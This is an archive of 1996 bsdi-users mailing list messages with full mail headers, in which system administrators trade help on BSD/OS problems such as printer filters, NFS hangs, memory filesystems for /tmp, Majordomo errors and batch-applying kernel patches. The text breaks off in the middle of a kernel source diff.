:) From VM Thu Nov 7 01:13:11 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1205" "Tue" "5" "November" "1996" "13:58:05" "-0800" "root@internet-frontier.net" "root@internet-frontier.net" nil "28" "Re: Weird hanging" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA08610 for ; Tue, 5 Nov 1996 14:59:58 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA04683 for bsdi-users-outgoing; Tue, 5 Nov 1996 14:54:50 -0500 (EST) In-Reply-To: <55n6bj$nh3@news.xs4all.nl> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Amy Sender: owner-bsdi-users@lists.gateway.com To: cor@xs4all.net cc: bsdi-users@BSDI.COM Subject: Re: Weird hanging Date: Tue, 5 Nov 1996 13:58:05 -0800 (PST) > root@internet-frontier.net (Amy) writes: > > >OK, a while back i mentioned that occassionally one of our servers would > >be hung in the morning. It has only been the news server since. By > >accident, I think i might have a clue as to what is causing this. > > >I had the web server mounted on my administration machine and was > >downloading some small (100K) files directly to the mounted partition and > >the system crashed and hung until i did a reboot. I was able to do it > >again right after that. It seems that when i am only downloading 1 file > >over NFS it's ok, but as soon as it's two the system hangs. > > >Well the news server has been having the same symptoms, but qutie > >regularly now. The only difference is the news server is not mounted > >anywhere so i am thinking that it's the number of files coming over the > >ethernet that is hosing it. > > >Has anyone heard of this before? Any ideas? > > Which ethernet card are you using? We've found that 3c509 cards hang > if the throughput gets too high. So we switched everything to smc. > End of problem. > Oops forgot to mention that - I'm using NE200 clones (Winbond). Anyone know of problems with those? Amy :) From VM Thu Nov 7 01:13:12 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1823" "Tue" "5" "November" "1996" "14:56:15" "-0500" "Cat Okita" "cat@uunet.ca" nil "63" "Parallel printer problems" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA08880 for ; Tue, 5 Nov 1996 15:01:41 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA04697 for bsdi-users-outgoing; Tue, 5 Nov 1996 14:56:31 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Cat Okita Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Parallel printer problems Date: Tue, 5 Nov 1996 14:56:15 -0500 Hi - I've got a Lexmark 4029 printer hooked up to a 386 running BSDi2.1 (with basic patches). I've tried the suggested fix to get printing to work properly with no dice. The basic behaviour is as follows: cat /tmp/foo.ps >/dev/lp0 # works perfectly cat /tmp/foo.txt >/dev/lp0 # doesn't work (printer setting, so ok) # shows the same behaviour as below lpr /tmp/foo.ps # doesn't work - the printer shows # that it's recieving data, then it # flushes the data, goes busy briefly # and then back to a 'ready' state. I've checked the printers settings, and they appear to be correct (the only suggestion shown in the manual for this problem is a time out issue, and I've set it to 'infinite') I suspect that there's some problem with data being added/removed to the print job, but don't really know - I've added the printcaps that I've tried thus far below. If anyone has some suggestions, I'd really appreciate it! Cat Okita ----- cut here for samples ----- lp|local line printer:\ :lp=/dev/lp0:sd=/var/spool/lpd:lf=/var/log/lpd-errs:\ :if=/usr/libexec/lpr/lpf: lp2:\ :lp=/dev/lp0:sd=/var/spool/lpd:lf=/var/log/lpd-errs:\ :if=/usr/contrib/lib/lprps/psif:\ :vf=/usr/contrib/lib/lprps/psif:\ :df=/usr/libexec/lpr/dvi2ps-filter: lp3|test:\ :lp=/dev/lp0:\ :sd=/var/spool/lpd:\ :lf=/var/log/lpd-errs:\ :mx=0: lp|0|deskjet|HP Deskjet:\ :sh:lp=/dev/lp0:sd=/var/spool/lpd:lf=/var/log/lpd-errs:\ :if=/usr/libexec/lpr/txt2jep-filter:\ :df=/usr/libexec/lpr/dvi2jep-filter:\ :vf=/usr/libexec/lpr/ps2jep-filter: lp|ps|PostScript|lj4ml|HP LaserJet 4ML:\ :lp=/dev/lp0:sh:mx#0:\ :sd=/var/spool/lpd:\ :lf=/var/log/lpd-errs:\ :af=/dev/null:\ :if=/usr/contrib/lib/lprps/psif:\ :vf=/usr/local/libexec/lpr/null-filter: From VM Thu Nov 7 01:13:16 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["920" "Tue" "5" "November" "1996" "15:16:47" "-0500" "Mike Pelletier" "mikep@comshare.com" nil "21" "Re: Question about HylaFax (under BSD 2.1) and TIFF documents..." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA09463 for ; Tue, 5 Nov 1996 15:27:54 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA04771 for bsdi-users-outgoing; Tue, 5 Nov 1996 15:18:02 -0500 (EST) Posted-Date: Tue, 5 Nov 1996 15:16:47 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Mike Pelletier Sender: owner-bsdi-users@lists.gateway.com To: Henry Spencer cc: bsdi-users@BSDI.COM Subject: Re: Question about HylaFax (under BSD 2.1) and TIFF documents... Date: Tue, 5 Nov 1996 15:16:47 -0500 (EST) On Fri, 25 Oct 1996, Henry Spencer wrote: > > What does the HylaFax man page mean by "TIFF Class F" documents? I don't > > remember seeing that in the TIFF specification... > > The issue is that there is no standard file format for storing faxes on > disk -- instead there are dozens of proprietary formats. TIFF Class F was > an attempt at standardization, extending TIFF slightly to handle fax data. > (Some of the proprietary formats also take this approach, but TIFF Class F > was documented openly.) Unfortunately, it hasn't caught on as much as one > would like. Another helpful reader sent me the TIFF Class F specification, and that was quite useful. It does, in fact, look as if I'm going to have to write a filter to rotate and shrink the 300dpi TIFF files in order to send them over the computerized fax system. It's not that big a deal, but at least now I know I have to do it. -Mike Pelletier. From VM Thu Nov 7 01:13:17 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["644" "Tue" "5" "November" "1996" "12:19:28" "-0800" "Stephen Diercouff" "sgd@tfm.com" nil "19" "Re: ACK... /tmp is too small... how can I fix it? " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA09468 for ; Tue, 5 Nov 1996 15:29:54 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA04791 for bsdi-users-outgoing; Tue, 5 Nov 1996 15:19:53 -0500 (EST) Message-Id: <199611052019.MAA29855@mtbaker.tfm.com> In-reply-to: Your message of "Tue, 05 Nov 1996 14:14:54 EST." Precedence: bulk From: Stephen Diercouff Sender: owner-bsdi-users@lists.gateway.com To: "Alan B. Clegg" cc: system operator , bsdi-users@BSDI.COM, sgd@tfm.com Subject: Re: ACK... /tmp is too small... how can I fix it? Date: Tue, 05 Nov 1996 12:19:28 -0800 > On Mon, 4 Nov 1996, system operator wrote: > > > lrwxr-xr-x 1 root wheel 8 Oct 28 05:15 tmp -> /var/tmp > > Just hope that you don't ever have a need to mount / without /var and do > anything useful. Not that it can't be done, but it certainly does make > things more complicated. One should always make a "shadowed" directory tree under mount points on the root filesystem to handle single-user situations. --Stephen -- Stephen Diercouff, tfm associates, Eugene Oregon voice:+1 541 461 8928 Internet: sgd@tfm.com fax:+1 541 461 8929 Snail : P.O. Box 1244/Eugene OR 97440-1244 USA From VM Thu Nov 7 01:13:20 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["261" "Wed" "6" "November" "1996" "14:55:14" "+0530" "Kish Galappatti" "kish@millenniumit.com" nil "11" "wierd problem with S3 Trio 64V+" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA09757 for ; Tue, 5 Nov 1996 15:41:50 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA04834 for bsdi-users-outgoing; Tue, 5 Nov 1996 15:29:23 -0500 (EST) Message-Id: <199611060925.OAA21165@fire.ncc-public.itmin.com> X-Sender: kish@coconut.millenniumit.com X-Mailer: Windows Eudora Pro Version 2.1.2 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Kish Galappatti Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: wierd problem with S3 Trio 64V+ Date: Wed, 6 Nov 1996 14:55:14 +0530 hi there, i have an S3 Trio 64V+ card on my BSDI box, for some wierd reason, Xinside freezes up when u are using it... the whole machine freezes and u have to reboot.. i am using bsd/os 2.01. does anyone have any clues asto why this is happening?? --kish From VM Thu Nov 7 01:13:20 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["144" "Tue" "5" "November" "1996" "13:29:23" "-0700" "Bill Nestlerode" "billn@bsdi.com" nil "13" "Re: patches " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA10026 for ; Tue, 5 Nov 1996 15:43:16 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA04845 for bsdi-users-outgoing; Tue, 5 Nov 1996 15:30:59 -0500 (EST) Message-Id: <199611052029.NAA18907@tao.bsdi.com> In-reply-to: Your message of "Mon, 04 Nov 1996 21:17:06 EST." <1.5.4.32.19961105021706.00686128@204.101.127.2> Precedence: bulk From: Bill Nestlerode Sender: owner-bsdi-users@lists.gateway.com To: Roch Pageau cc: bsdi-users@BSDI.COM Subject: Re: patches Date: Tue, 05 Nov 1996 13:29:23 -0700 Roch Pageau writes: >Can I install more than 1 kernel patch at the same time and recompile the >only once. > >Thanks > >Roch > Yes! -Bill N From VM Thu Nov 7 01:13:20 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["248" "Tue" "5" "November" "1996" "13:43:00" "-0700" "Bill Nestlerode" "billn@bsdi.com" nil "12" "Re: Password Changed Elsewhere " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA10030 for ; Tue, 5 Nov 1996 15:44:33 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA04890 for bsdi-users-outgoing; Tue, 5 Nov 1996 15:43:25 -0500 (EST) Message-Id: <199611052043.NAA18980@tao.bsdi.com> In-reply-to: Your message of "Tue, 05 Nov 1996 07:00:01 CST." Precedence: bulk From: Bill Nestlerode Sender: owner-bsdi-users@lists.gateway.com To: "M. Dickens" cc: bsdi-users@BSDI.COM Subject: Re: Password Changed Elsewhere Date: Tue, 05 Nov 1996 13:43:00 -0700 "M. Dickens" writes: > >Which patch corrects the "password changed elsewhere..." in 2.0.1. I >applied the few from the BSDI ftp site but it didn't correct the problem. > >Michael >mdickens@tetranet.net You want the 2.0 patch U200-013. -Bill N From VM Thu Nov 7 01:13:21 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["882" "Tue" "5" "November" "1996" "12:32:24" "-0800" "David A. Lee" "dave@calldei.com" nil "23" "Re: ACK... /tmp is too small... how can I fix it?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA10034 for ; Tue, 5 Nov 1996 15:44:36 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA04858 for bsdi-users-outgoing; Tue, 5 Nov 1996 15:32:56 -0500 (EST) Message-Id: <199611052032.MAA07505@dei.calldei.com> In-Reply-To: <199611051753.JAA24759@mtbaker.tfm.com> from "Stephen Diercouff" at Nov 5, 96 09:53:42 am X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: "David A. Lee" Sender: owner-bsdi-users@lists.gateway.com To: sgd@tfm.com (Stephen Diercouff) Cc: dave@fgh.oz.au, bsdi-users@BSDI.COM, sgd@tfm.com Subject: Re: ACK... /tmp is too small... how can I fix it? Date: Tue, 5 Nov 1996 12:32:24 -0800 (PST) > > For performance reasons, many folks create memory filesystems for /tmp. > It is not possible to preserve those files after a reboot. If you read the > hier(7) man page, you will see that /tmp and its entire contents are not > designed to be preserved, and /var/tmp is explicitly designed to store > files which should be preserved. > > To combine the two filesystems involves a compromise which is, IMO, a > misfeature. I don't understand the insistence that some folks have in > combining the two, and eliminating that distinction. > > One didn't create memory filesystems in the mid-1970s. > Wake up and join the '90s. :) > Excellent point! but I have one question I have never had answered ... Why use memory filesystems at all ? Why not use a regular filesystem and let the kernal have the extra meg's for file buffers? Wouldnt that work out as well ? -David Lee From VM Thu Nov 7 01:13:22 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1078" "Tue" "5" "November" "1996" "16:08:39" "-0500" "Henry Spencer" "henry@zoo.toronto.edu" nil "23" "Re: ACK... /tmp is too small... how can I fix it?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA10844 for ; Tue, 5 Nov 1996 16:13:26 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id QAA04972 for bsdi-users-outgoing; Tue, 5 Nov 1996 16:09:50 -0500 (EST) In-Reply-To: <199611052032.MAA07505@dei.calldei.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Henry Spencer Sender: owner-bsdi-users@lists.gateway.com To: "David A. Lee" cc: bsdi-users@BSDI.COM Subject: Re: ACK... /tmp is too small... how can I fix it? Date: Tue, 5 Nov 1996 16:08:39 -0500 (EST) > Why use memory filesystems at all ? Why not use a regular filesystem > and let the kernal have the extra meg's for file buffers? Wouldnt > that work out as well ? Unfortunately, not so. For one thing, the kernel (there is no "a" in "kernel", by the way) buffering probably isn't quite as effective as a memory filesystem. For another, the kernel's strategy for trying to keep the filesystems safe in the event of a crash is *very* quick and dirty, or more precisely slow and dirty. It enforces constraints on the order of crucial disk writes by doing them immediately and making you wait for them, rather than by remembering what order they should be done in. This is a *big* speed loss for certain things. The memory filesystem bypasses this. (Of course, it would be almost as good to have a way of telling the kernel "don't worry about keeping this filesystem safe, it doesn't persist across crashes anyway"...) Henry Spencer henry@zoo.toronto.edu From VM Thu Nov 7 01:13:23 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1181" "Tue" "5" "November" "1996" "15:03:35" "-0600" "Chad Scott" "chad@txdirect.net" nil "33" "Majordomo 1.94" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA10852 for ; Tue, 5 Nov 1996 16:15:28 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id QAA04949 for bsdi-users-outgoing; Tue, 5 Nov 1996 16:05:55 -0500 (EST) Reply-To: Chad Scott Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Chad Scott Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Majordomo 1.94 Date: Tue, 5 Nov 1996 15:03:35 -0600 (CST) I'm having a hell of a problem with Majordomo 1.94 on my BSDI 2.1 system. Seems that after installation and configuration (config-test reports all is well) if I send mail to majordomo with a command the load average goes through the roof, majordomo runs up 84% CPU usage, stays there for a minute or so, then returns the proper response. However, sendmail returns: "|/usr/contrib/lib/majordomo-1.94/wrapper majordomo" (unrecoverable error) (expanded from: ) ----- Transcript of session follows ----- Message delivered to mailing list 554 "|/usr/contrib/lib/majordomo-1.94/wrapper majordomo"... unknown mailer error 1 Is this a bug I'm not aware of, or have I completely screwed up this installation? I have installed and used 1.92 for quite awhile, and would like to move onto the newest version, but it just doesn't appear to want to happen. Any ideas? Chad Scott | chad@txdirect.net Systems Administrator | Voice 210-308-9800 Internet Direct, Incorporated | FAX 210-308-9240 ---------------------------------------------------- Finger chad@txdirect.net for PGP Public Key From VM Thu Nov 7 01:13:27 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["450" "Tue" "5" "November" "1996" "16:59:34" "-0500" "Sam Brown" "root@ns2.clever.net" nil "20" "Re: wierd problem with S3 Trio 64V+" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA11689 for ; Tue, 5 Nov 1996 16:48:26 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id QAA05069 for bsdi-users-outgoing; Tue, 5 Nov 1996 16:39:26 -0500 (EST) In-Reply-To: <199611060925.OAA21165@fire.ncc-public.itmin.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Sam Brown Sender: owner-bsdi-users@lists.gateway.com To: Kish Galappatti cc: bsdi-users@BSDI.COM Subject: Re: wierd problem with S3 Trio 64V+ Date: Tue, 5 Nov 1996 16:59:34 -0500 (EST) Its junk, return it. I sent back like 3 in the last week. Venus?? hahaha get a stealth 64 if you want it to work. Sam On Wed, 6 Nov 1996, Kish Galappatti wrote: > > hi there, > > i have an S3 Trio 64V+ card on my BSDI box, for some wierd reason, Xinside > freezes up when u are using it... the whole machine freezes and u have to > reboot.. i am using bsd/os 2.01. does anyone have any clues asto why this > is happening?? > > --kish > > From VM Thu Nov 7 01:13:28 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1050" "Tue" "5" "November" "1996" "13:33" "PST" "Randy Bush" "randy@psg.com" nil "31" "Re: patches " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA11958 for ; Tue, 5 Nov 1996 16:58:52 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id QAA05052 for bsdi-users-outgoing; Tue, 5 Nov 1996 16:34:15 -0500 (EST) Message-Id: References: <1.5.4.32.19961105021706.00686128@204.101.127.2> <199611052029.NAA18907@tao.bsdi.com> Precedence: bulk From: randy@psg.com (Randy Bush) Sender: owner-bsdi-users@lists.gateway.com To: Roch Pageau Cc: bsdi-users@BSDI.COM Subject: Re: patches Date: Tue, 5 Nov 96 13:33 PST > Can I install more than 1 kernel patch at the same time and recompile the > only once. As I do it rather often. Watch out for kerberisms. #!/bin/bash cd /sys for i in /var/src/sys/patches/K210-00[1-9]; do sh $i; done for i in /var/src/sys/patches/K210-01[0-9]; do sh $i; done for i in /var/src/sys/patches/K210-02[0-9]; do sh $i; done for i in /var/src/sys/patches/U210-00[1-5]; do sh $i; done for i in /var/src/sys/patches/D210-006; do sh $i; done for i in /var/src/sys/patches/U210-00[7-9]; do sh $i; done for i in /var/src/sys/patches/U210-01[0-5]; do sh $i; done for i in /var/src/sys/patches/D210-016; do sh $i; done for i in /var/src/sys/patches/U210-017; do sh $i; done for i in /var/src/sys/patches/D210-018; do sh $i; done for i in /var/src/sys/patches/U210-019; do sh $i; done for i in /var/src/sys/patches/U210-020; do sh $i; done for i in /var/src/sys/patches/D210-021; do sh $i; done for i in /var/src/sys/patches/U210-02[2-9]; do sh $i; done cd / find . -name \*.orig -print -exec rm {} \; randy From VM Thu Nov 7 01:13:30 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["690" "Tue" "5" "November" "1996" "17:05:29" "-0500" "Henry Spencer" "henry@zoo.toronto.edu" nil "17" "Re: ACK... /tmp is too small... how can I fix it?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA12513 for ; Tue, 5 Nov 1996 17:16:21 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id RAA05121 for bsdi-users-outgoing; Tue, 5 Nov 1996 17:06:08 -0500 (EST) In-Reply-To: <199611052142.NAA20171@wlv.iipo.gtegsc.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Henry Spencer Sender: owner-bsdi-users@lists.gateway.com To: "Steven M. Schultz" cc: bsdi-users@BSDI.COM Subject: Re: ACK... /tmp is too small... how can I fix it? Date: Tue, 5 Nov 1996 17:05:29 -0500 (EST) > > would be almost as good to have a way of telling the kernel "don't worry > > about keeping this filesystem safe, it doesn't persist across crashes > > anyway"...) > > mount -o async ... > Will do, mostly, what you want. Yes, it's much better than nothing, but still only a rough approximation. What's really wanted is a way to say "never ever bother writing blocks out to this filesystem unless you need to reclaim the buffer" -- for example, "update" shouldn't flush them, which I believe it still does despite the async flag. Henry Spencer henry@zoo.toronto.edu From VM Thu Nov 7 01:13:32 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["405" "Tue" "5" "November" "1996" "15:18:48" "-0700" "Bill Nestlerode" "billn@bsdi.com" nil "19" "Re: X Question... " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA12800 for ; Tue, 5 Nov 1996 17:28:26 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id RAA05189 for bsdi-users-outgoing; Tue, 5 Nov 1996 17:19:08 -0500 (EST) Message-Id: <199611052218.PAA19415@tao.bsdi.com> In-reply-to: Your message of "Thu, 24 Oct 1996 14:25:43 EDT." Precedence: bulk From: Bill Nestlerode Sender: owner-bsdi-users@lists.gateway.com To: Brian Beaulieu cc: BSDi User List Subject: Re: X Question... Date: Tue, 05 Nov 1996 15:18:48 -0700 Brian Beaulieu writes: >Is it possible to jump back to console or another tty without shutting >down X ? > >Thanks > >Brian > >================================== >CAPE Internet System Administrator >http://www.capecod.net >http://despair.capecod.net >brian@despair.capecod.net >================================== > No. Unfortunately, Xinside has not put that functionality in Xaccel for BSD/OS. -Bill N From VM Thu Nov 7 01:13:39 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["832" "Tue" "5" "November" "1996" "15:06:04" "-0800" "Kent Ketell" "kent_ketell@firstdata.com" nil "33" "Re: Parallel printer problems" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA13931 for ; Tue, 5 Nov 1996 18:12:33 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id SAA05313 for bsdi-users-outgoing; Tue, 5 Nov 1996 18:06:53 -0500 (EST) Message-Id: <3.0.32.19961105150349.0076981c@popgw.firstdata.com> X-Sender: kketell@popgw.firstdata.com X-Mailer: Windows Eudora Pro Version 3.0 Demo (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Kent Ketell Sender: owner-bsdi-users@lists.gateway.com To: Cat Okita Cc: bsdi-users@BSDI.COM Subject: Re: Parallel printer problems Date: Tue, 05 Nov 1996 15:06:04 -0800 At 02:56 PM 11/5/96 -0500, Cat Okita wrote: > >Hi - > >I've got a Lexmark 4029 printer hooked up to a 386 running BSDi2.1 (with >basic patches). > >I've tried the suggested fix to get printing to work properly with no dice. > >The basic behaviour is as follows: > > cat /tmp/foo.ps >/dev/lp0 # works perfectly > cat /tmp/foo.txt >/dev/lp0 # doesn't work (printer setting, so ok) > # shows the same behaviour as below > > lpr /tmp/foo.ps # doesn't work - the printer shows > # that it's recieving data, then it > # flushes the data, goes busy briefly > # and then back to a 'ready' state. > This behaviour is typically due to the file being processed not being seen by the printer as Postscript. Check your filters. -- All opinions either expressed or implied in the above noise are strictly my own. -Kent- From VM Thu Nov 7 01:13:43 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["964" "Tue" "5" "November" "1996" "13:42:38" "+0600" "chris michael" "cm@rmsbus.com" nil "38" "Re: route; netstat" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA14494 for ; Tue, 5 Nov 1996 18:31:52 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id SAA05363 for bsdi-users-outgoing; Tue, 5 Nov 1996 18:25:50 -0500 (EST) Message-Id: <3.0.32.19961105134232.006b0260@mail.rmsbus.com> X-Sender: cm@mail.rmsbus.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Mime-Version: 1.0 Content-Type: text/enriched; charset="us-ascii" Precedence: bulk From: chris michael Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: route; netstat Date: Tue, 05 Nov 1996 13:42:38 +0600 At 06:55 AM 11/4/96 +0600, chris michael you probably wrote: >>>> MS Sans SerifMy apologies if this is a duplicate: I'm running BSDI 2.1 and having a problem with routes. The default route seems to enter okay, but when you do any netstat command it hangs after the first line of output. Rebooting doesn't seem to help and the default route doesn't work. <<<<<<<< Thank you to everyone who replied. The most popular suggestion was use the -n option. I should have mentioned that I'd tried that. The actual answer was that while we were doing major network surgery, Ameritech decided to replace some equipment and downed our leased line. It didn't occur to us that *we* hadn't broken it until our ISP notified us that they couldn't ping the router. There's probably a lesson about assumptions here somewhere. Chris --- christopher michael*rms business systems*< From VM Thu Nov 7 01:13:52 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1164" "Tue" "5" "November" "1996" "16:16:38" "-0800" "Stephen Roderick" "steve@proaxis.com" nil "43" "Re: Parallel printer problems" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA16147 for ; Tue, 5 Nov 1996 19:30:08 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id TAA05556 for bsdi-users-outgoing; Tue, 5 Nov 1996 19:16:54 -0500 (EST) In-Reply-To: <3.0.32.19961105150349.0076981c@popgw.firstdata.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Stephen Roderick Sender: owner-bsdi-users@lists.gateway.com To: Cat Okita cc: bsdi-users@BSDI.COM Subject: Re: Parallel printer problems Date: Tue, 5 Nov 1996 16:16:38 -0800 (PST) On Tue, 5 Nov 1996, Kent Ketell wrote: > At 02:56 PM 11/5/96 -0500, Cat Okita wrote: > > > >Hi - > > > >I've got a Lexmark 4029 printer hooked up to a 386 running BSDi2.1 (with > >basic patches). > > > >I've tried the suggested fix to get printing to work properly with no dice. > > > >The basic behaviour is as follows: > > > > cat /tmp/foo.ps >/dev/lp0 # works perfectly > > cat /tmp/foo.txt >/dev/lp0 # doesn't work (printer setting, so ok) > > # shows the same behaviour as below > > > > lpr /tmp/foo.ps # doesn't work - the printer shows > > # that it's recieving data, then it > > # flushes the data, goes busy briefly > > # and then back to a 'ready' state. > > > > This behaviour is typically due to the file being processed not being seen > by the printer as Postscript. Check your filters. Try this: cat /tmp/foo.txt | textps -m72 | lpr If you still have problems let us see your /etc/printcap file. Steve --- Steve Roderick ProAxis Communications, Inc. steve@proaxis.com Internet Access Provider (541) 757-0248 From VM Thu Nov 7 01:13:52 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1121" "Tue" "5" "November" "1996" "13:42:25" "-0800" "Steven M. Schultz" "sms@wlv.iipo.gtegsc.com" nil "42" "Re: ACK... /tmp is too small... how can I fix it?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA16152 for ; Tue, 5 Nov 1996 19:38:41 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id TAA05610 for bsdi-users-outgoing; Tue, 5 Nov 1996 19:39:15 -0500 (EST) Message-Id: <199611052142.NAA20171@wlv.iipo.gtegsc.com> Precedence: bulk From: "Steven M. Schultz" Sender: owner-bsdi-users@lists.gateway.com To: dave@calldei.com, henry@zoo.toronto.edu Cc: bsdi-users@BSDI.COM Subject: Re: ACK... /tmp is too small... how can I fix it? Date: Tue, 5 Nov 1996 13:42:25 -0800 (PST) >From: Henry Spencer Hi - > for certain things. The memory filesystem bypasses this. (Of course, it > would be almost as good to have a way of telling the kernel "don't worry > about keeping this filesystem safe, it doesn't persist across crashes > anyway"...) mount -o async ... Will do, mostly, what you want. Especially after adding the missing half an 'if' statement below (from 4.4-lite2, so it will be in BSD/OS 3.0): *** ffs_inode.c.orig Mon Apr 24 13:46:34 1995 --- ffs_inode.c Thu Aug 8 21:31:46 1996 *************** *** 124,130 **** } *((struct dinode 